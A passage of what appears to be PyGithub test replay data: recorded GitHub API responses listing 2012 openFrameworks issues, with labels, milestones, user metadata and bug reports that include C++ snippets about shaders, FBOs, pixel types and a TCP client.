sexy","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"created_at":"2010-04-06T19:44:04Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166214,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/175"},{"updated_at":"2011-12-02T19:14:03Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/174","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":174,"assignee":null,"closed_at":null,"title":"vertical sync on for mac by default","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2010-04-06T19:43:21Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166212,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/174"},{"updated_at":"2011-12-05T21:58:10Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/173","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":173,"assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"closed_at":null,"title":"ofAlphaBlending default on","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2010-04-06T19:42:34Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166211,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/173"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.testReversedIterationWithSinglePage.txt0000644000175100001660000031530114756101563030602 0ustar00runnerdockerhttps GET api.github.com None /repos/openframeworks/openFrameworks/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4927'), ('content-length', '52085'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5e8867ffb4e7630e852b2b231f3b9cdb"'), ('date', 'Tue, 29 May 2012 19:36:57 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T18:11:17Z","body":"Since more and more of the OF Core now relies on Poco (ie ofThread, etc) does OF_USING_POCO make sense anymore?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1280","comments":0,"milestone":null,"number":1280,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1280","assignee":null,"title":"deprecate OF_USING_POCO?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-27T18:03:23Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danomatika","id":480637},"id":4772349,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-28T08:08:24Z","body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","comments":2,"milestone":null,"number":1279,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1279","assignee":null,"title":"ofShader example with HD Graphics 3000 issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-26T19:27:56Z","state":"open","user":{"url":"https://api.github.com/users/subtiv","gravatar_id":"837cfe96365c031130a46311eb11d86a","avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"subtiv","id":1012684},"id":4767675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-25T18:39:02Z","body":"produces an error on app exit or tex destruction.\n\n OF: OF_LOG_ERROR: trying to delete a non indexed texture, something weird is happening. Deleting anyway\n\nThis is because retain(int id) is a static function in ofTexture.cpp. So we can't retain the depthStencilTexture.\n\nThis suggest we should move the texture allocation of the depth / stencil texture to ofTexture - something which is not possible at the moment. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1277","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1277,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1277","assignee":null,"title":"ofFbo can't retain depthStencil Texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-25T18:37:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4758608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T21:26:57Z","body":"\nthe offending line is: \n\nif( speed.getValue() != preSpeed ){\n\nwhich is evaluating as true even through the slider is not touched (float equality test, etc). \n\nif we alter it to something like: \n\nif( fabs(speed.getValue() - preSpeed) > 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271","assignee":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: \n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268","assignee":null,"title":"project generator - bad libs for VS / opencv examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald \n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263","assignee":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262","assignee":null,"title":"Add .mailmap for contributor collation","labels":[],"closed_at":null,"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch"}},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260","assignee":null,"title":"allow float volume on ofVideoPlayer","labels":[],"closed_at":null,"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch"}},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257","assignee":null,"title":"ofShortPixels doesn't draw pixels correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","assignee":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","assignee":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251","assignee":null,"title":"Bugfix of to data path","labels":[],"closed_at":null,"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch"}},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","assignee":null,"title":"bug: ofToDataPath broken again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t 